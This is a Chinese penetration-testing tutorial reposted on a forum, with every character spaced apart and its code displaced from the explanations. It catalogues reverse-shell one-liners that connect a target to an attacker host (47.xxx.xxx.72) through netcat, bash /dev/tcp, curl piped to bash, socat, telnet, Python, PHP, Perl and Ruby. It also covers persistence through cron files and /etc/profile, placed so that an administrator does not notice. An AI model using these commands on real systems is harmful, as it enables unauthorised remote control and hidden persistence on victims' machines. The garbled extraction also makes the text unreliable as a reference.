搜索

[18551] 2021-04-24_反弹Shell，看这一篇就够了

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-04-24_反弹Shell，看这一篇就够了 反 弹 S h e l l ， 看 这 一 篇 就 够 了 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 4 - 2 4 前 言 前 言 在 渗 透 测 试 实 战 中 ， 我 们 经 常 会 遇 到 L i n u x 系 统 环 境 ， 而 让 L i n u x 主 机 反 弹 个 s h e l l 是 再 常 见 不 过 的 事 情 了 。 反 弹 s h e l l ， 就 是 攻 击 机 监 听 在 某 个 T C P / U D P 端 口 为 服 务 端 ， 目 标 机 主 动 发 起 请 求 到 攻 击 机 监 听 的 端 口 ， 并 将 其 命 令 行 的 输 入 输 出 转 到 攻 击 机 。 正 向 连 接 正 向 连 接 假 设 我 们 攻 击 了 一 台 机 器 ， 打 开 了 该 机 器 的 一 个 端 口 ， 攻 击 者 在 自 己 的 机 器 去 连 接 目 标 机 器 （ 目 标 i p ： 目 标 机 器 端 口 ） ， 这 是 比 较 常 规 的 形 式 ， 我 们 叫 做 正 向 连 接 。 远 程 桌 面 、 w e b 服 务 、 s s h 、 t e l n e t 等 等 都 是 正 向 连 接 。 反 向 连 接 反 向 连 接 那 么 为 什 么 要 用 反 弹 s h e l l 呢 ？ 反 弹 s h e l l 通 常 适 用 于 如 下 几 种 情 况 ： • 目 标 机 因 防 火 墙 受 限 ， 目 标 机 器 只 能 发 送 请 求 ， 不 能 接 收 请 求 。 • 目 标 机 端 口 被 占 用 。 • 目 标 机 位 于 局 域 网 ， 或 I P 会 动 态 变 化 ， 攻 击 机 无 法 直 接 连 接 。 • 对 于 病 毒 ， 木 马 ， 受 害 者 什 么 时 候 能 中 招 ， 对 方 的 网 络 环 境 是 什 么 样 的 ， 什 么 时 候 开 关 机 ， 都 是 未 知 的 。 • . . . . . . 对 于 以 上 几 种 情 况 ， 我 们 是 无 法 利 用 正 向 连 接 的 ， 要 用 反 向 连 接 。
那 么 反 向 连 接 就 很 好 理 解 了 ， 就 是 攻 击 者 指 定 服 务 端 ， 受 害 者 主 机 主 动 连 接 攻 击 者 的 服 务 端 程 序 ， 即 为 反 向 连 接 。 反 弹 s h e l l 的 方 式 有 很 多 ， 那 具 体 要 用 哪 种 方 式 还 需 要 根 据 目 标 主 机 的 环 境 来 确 定 ， 比 如 目 标 主 机 上 如 果 安 装 有 n e t c a t ， 那 我 们 就 可 以 利 用 n e t c a t 反 弹 s h e l l ， 如 果 具 有 p y t h o n 环 境 ， 那 我 们 可 以 利 用 p y t h o n 反 弹 s h e l l 。 如 果 具 有 p h p 环 境 ， 那 我 们 可 以 利 用 p h p 反 弹 s h e l l 。 利 用 利 用 n e t c a t 反 弹 反 弹 s h e l l N e t c a t   是 一 款 简 单 的 U n i x 工 具 ， 使 用 U D P 和 T C P 协 议 。 它 是 一 个 可 靠 的 容 易 被 其 他 程 序 所 启 用 的 后 台 操 作 工 具 ， 同 时 它 也 被 用 作 网 络 的 测 试 工 具 或 黑 客 工 具 。 使 用 它 你 可 以 轻 易 的 建 立 任 何 连 接 。 目 前 ， 默 认 的 各 个 l i n u x 发 行 版 本 已 经 自 带 了 n e t c a t 工 具 包 ， 但 是 可 能 由 于 处 于 安 全 考 虑 原 生 版 本 的 n e t c a t 带 有 可 以 直 接 发 布 与 反 弹 本 地 s h e l l 的 功 能 参 数   - e   都 被 阉 割 了 ， 所 以 我 们 需 要 自 己 手 动 下 载 二 进 制 安 装 包 ， 安 装 的 如 下 ： 安 装 完 原 生 版 本 的   n e t c a t   工 具 后 ， 便 有 了 n e t c a t   - e 参 数 ， 我 们 就 可 以 将 本 地 b a s h 反 弹 到 攻 击 机 上 了 。 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： w g e t   h t t p s : / / n c h c . d l . s o u r c e f o r g e . n e t / p r o j e c t / n e t c a t / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z t a r   - x v z f   n e t c a t - 0 . 7 . 1 . t a r . g z . / c o n f i g u r e m a k e   & &   m a k e   i n s t a l l m a k e   c l e a n n e t c a t   - l v v p   2 3 3 3 n e t c a t   4 7 . x x x . x x x . 7 2   2 3 3 3   - e   / b i n / b a s h #   n c   < 攻 击 机 I P >   < 攻 击 机 监 听 的 端 口 >   - e   / b i n / b a s h
i m a g e - 2 0 2 1 0 1 2 7 1 9 2 5 4 0 2 2 8 利 用 利 用 B a s h 反 弹 反 弹 s h e l l 个 人 感 觉 反 弹 s h e l l 最 好 用 的 方 法 就 是 使 用 b a s h 结 合 重 定 向 方 法 的 一 句 话 ， 具 体 命 令 如 下 ： 以 下 是 针 对 B a s h 反 弹 一 句 话 进 行 了 拆 分 说 明 ： 命 令 命 令 命 令 详 解 命 令 详 解 b a s h   - i 产 生 一 个 b a s h 交 互 环 境 。 > & 将 联 合 符 号 前 面 的 内 容 与 后 面 相 结 合 ， 然 后 一 起 重 定 向 给 后 者 。 / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3 L i n u x 环 境 中 所 有 的 内 容 都 是 以 文 件 的 形 式 存 在 的 ， 其 实 大 家 一 看 见 这 个 内 容 就 能 明 白 ， 就 是 让 目 标 主 机 与 攻 击 机 4 7 . x x x . x x x . 7 2 的 2 3 3 3 端 口 建 立 一 个 t c p 连 接 。 0 > & 1 将 标 准 输 入 与 标 准 输 出 的 内 容 相 结 合 ， 然 后 重 定 向 给 前 面 标 准 输 出 的 内 容 。 B a s h 反 弹 一 句 完 整 的 解 读 过 程 就 是 ： B a s h 产 生 了 一 个 交 互 环 境 和 本 地 主 机 主 动 发 起 与 攻 击 机 2 3 3 3 端 口 建 立 的 连 接 （ 即 T C P   2 3 3 3 会 话 连 接 ） 相 结 合 ， 然 后 在 重 定 向 个 T C P   2 3 3 3 会 话 连 接 ， 最 后 将 用 户 键 盘 输 入 与 用 户 标 准 输 出 相 结 合 再 次 重 定 向 给 一 个 标 准 的 输 出 ， 即 得 到 一 个 B a s h 反 弹 环 境 。 b a s h   - i   > &   / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1 或 b a s h   - c   " b a s h   - i   > &   / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1 " #   b a s h   - i   > &   / d e v / t c p / 攻 击 机 I P / 攻 击 机 端 口   0 > & 1
攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： C u r l 配 合 配 合 B a s h 反 弹 反 弹 s h e l l 这 里 操 作 也 很 简 单 ， 借 助 了 L i n u x 中 的 管 道 。 首 先 ， 在 攻 击 者 v p s 的 w e b 目 录 里 面 创 建 一 个 i n d e x 文 件 （ i n d e x . p h p 或 i n d e x . h t m l ） ， 内 容 如 下 ： 并 开 启 2 3 3 3 端 口 的 监 听 。 然 后 再 目 标 机 上 执 行 如 下 ， 即 可 反 弹 s h e l l ： 执 行 效 果 如 下 ： n c   - l v v p   2 3 3 3 b a s h   - i   > &   / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1 b a s h   - i   > &   / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1 c u r l   4 7 . x x x . x x x . 7 2 | b a s h
根 据 c u r l 命 令 和 L i n u x 管 道 的 作 用 ， 你 不 难 理 解 这 其 中 的 原 理 。 C u r l 配 合 B a s h 反 弹 s h e l l 的 方 式 在 C T F 题 目 中 经 常 出 现 ，   中 的 I P 可 以 是 任 意 格 式 的 ， 可 以 是 十 进 制 、 十 六 进 制 、 八 进 制 、 二 进 制 等 等 。 将 反 弹 将 反 弹 s h e l l 的 命 令 写 入 定 时 任 务 的 命 令 写 入 定 时 任 务 我 们 可 以 在 目 标 主 机 的 定 时 任 务 文 件 中 写 入 一 个 反 弹 s h e l l 的 脚 本 ， 但 是 前 提 是 我 们 必 须 要 知 道 目 标 主 机 当 前 的 用 户 名 是 哪 个 。 因 为 我 们 的 反 弹 s h e l l 命 令 是 要 写 在     内 的 ， 所 以 必 须 要 知 道 远 程 主 机 当 前 的 用 户 名 。 否 则 就 不 能 生 效 。 比 如 ， 当 前 用 户 名 为 r o o t ， 我 们 就 要 将 下 面 内 容 写 入 到   / v a r / s p o o l / c r o n / r o o t   中 。 ( c e n t o s 系 列 主 机 ) 比 如 ， 当 前 用 户 名 为 r o o t ， 我 们 就 要 将 下 面 内 容 写 入 到   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   中 。 ( D e b i a n / U b u n t u 系 列 主 机 ) 将 反 弹 将 反 弹 s h e l l 的 命 令 写 入 的 命 令 写 入 / e t c / p r o f i l e 文 件 文 件 将 以 下 反 弹 s h e l l 的 命 写 入 / e t c / p r o f i l e 文 件 中 ， / e t c / p r o f i l e 中 的 内 容 会 在 用 户 打 开 b a s h 窗 口 时 执 行 。 i m a g e - 2 0 2 1 0 1 2 7 2 2 1 7 1 8 7 4 4 当 目 标 主 机 管 理 员 远 程 连 接 该 主 机 时 ， 就 会 执 行 该 命 令 ， 成 功 获 得 目 标 机 的 s h e l l ： c u r l   I P | b a s h / v a r / s p o o l / c r o n / [ c r o n t a b s ] / < u s e r n a m e > * / 1     *     *     *     *       / b i n / b a s h   - i > & / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1 # 每 隔 一 分 钟 ， 向 4 7 . x x x . x x x . 7 2 的 2 3 3 3 号 端 口 发 送 s h e l l / b i n / b a s h   - i   > &   / d e v / t c p / 4 7 . x x x . x x x . 7 2 / 2 3 3 3   0 > & 1   & #   最 后 面 那 个 & 为 的 是 防 止 管 理 员 无 法 输 入 命 令
利 用 利 用 S o c a t 反 弹 反 弹 s h e l l S o c a t 是 L i n u x   下 一 个 多 功 能 的 网 络 工 具 ， 名 字 来 由 是 ” S o c k e t   C A T ” ， 因 此 可 以 看 出 它 是 基 于 s o c k e t 的 ， 其 功 能 与 n e t c a t 类 似 ， 不 过 据 说 可 以 看 做 n e t c a t 的 加 强 版 ， 事 实 上 的 确 也 是 如 此 。 我 这 里 只 简 单 的 介 绍 下 怎 么 使 用 它 开 启 监 听 和 反 弹 s h e l l ， 其 他 详 细 内 容 可 以 参 见 这 里 ： h t t p : / / b r i e f l y x . m e / 2 0 1 5 / l i n u x - t o o l s / s o c a t - i n t r o d u c t i o n / 安 装 S o c a t 的 方 法 很 简 单 ： • U b u n t u 等 可 以 直 接 使 用     命 令 进 行 安 装 • 也 可 以 去 官 网 下 载 源 码 包 ： h t t p : / / w w w . d e s t - u n r e a c h . o r g / s o c a t 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： a p t - g e t   i n s t a l l   s o c a t s o c a t   T C P - L I S T E N : 2 3 3 3   - 或 n c   - l v v p   2 3 3 3 s o c a t   t c p - c o n n e c t : 4 7 . x x x . x x x . 7 2 : 2 3 3 3   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e
利 用 利 用 T e l n e t 反 弹 反 弹 s h e l l 当 n c 和 / d e v / t c p 不 可 用 ， 且 目 标 主 机 和 攻 击 机 上 支 持 T e l n e t 服 务 时 ， 我 们 可 以 使 用 T e l n e t 反 弹 s h e l l 。 方 法 一 方 法 一 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： n c   - l v v p   2 3 3 3 m k n o d   a   p ;   t e l n e t   4 7 . x x x . x x x . 7 2   2 3 3 3   0 < a   |   / b i n / b a s h   1 > a
方 法 二 方 法 二 攻 击 机 需 要 开 启 两 个 本 地 监 听 ： 攻 击 机 需 要 开 启 两 个 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： n c   - l v v p   2 3 3 3 n c   - l v v p   4 0 0 0 t e l n e t   4 7 . 1 0 1 . 5 7 . 7 2   2 3 3 3   |   / b i n / b a s h   |   t e l n e t   4 7 . 1 0 1 . 5 7 . 7 2   4 0 0 0
如 上 图 所 示 ， 获 得 s h e l l 后 ， 在 攻 击 机 2 3 3 3 端 口 的 终 端 上 输 入 的 命 令 会 在 目 标 机 上 执 行 ， 执 行 的 回 显 将 通 过 4 0 0 0 端 口 的 终 端 显 示 出 来 。 各 种 脚 本 反 弹 各 种 脚 本 反 弹 s h e l l P y t h o n   脚 本 反 弹 脚 本 反 弹 s h e l l 当 目 标 主 机 上 有 p y t h o n 环 境 时 ， 我 们 可 以 用 P y t h o n 来 反 弹 s h e l l 。 P y t h o n 在 现 在 一 般 发 行 版 L i n u x 系 统 中 都 会 自 带 ， 所 以 使 用 起 来 也 较 为 方 便 ， 即 使 没 有 安 装 ， 我 们 手 动 安 装 也 很 方 便 。 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： p h p   脚 本 反 弹 脚 本 反 弹 s h e l l 当 目 标 主 机 上 有 p h p 环 境 时 ， 我 们 可 以 用 p h p 来 反 弹 s h e l l 。 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： n c   - l v v p   2 3 3 3 p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 4 7 . x x x . x x x . 7 2 " , 2 3 3 3 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' n c   - l v v p   2 3 3 3
目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： P e r l   脚 本 反 弹 脚 本 反 弹 s h e l l 当 目 标 主 机 上 有 p e r l 环 境 时 ， 我 们 可 以 用 p e r l 来 反 弹 s h e l l 。 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： 执 行 效 果 如 下 ： R u b y 脚 本 反 弹 脚 本 反 弹 s h e l l 当 目 标 主 机 上 有 r u b y 环 境 时 ， 我 们 可 以 用 r u b y 来 反 弹 s h e l l 。 攻 击 机 开 启 本 地 监 听 ： 攻 击 机 开 启 本 地 监 听 ： 目 标 机 主 动 连 接 攻 击 机 ： 目 标 机 主 动 连 接 攻 击 机 ： p h p   - r   ' $ s o c k = f s o c k o p e n ( " 4 7 . x x x . x x x . 7 2 " , 2 3 3 3 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' n c   - l v v p   2 3 3 3 p e r l   - e   ' u s e   S o c k e t ; $ i = " 4 7 . 1 0 1 . 5 7 . 7 2 " ; $ p = 2 3 3 3 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' n c   - l v v p   2 3 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理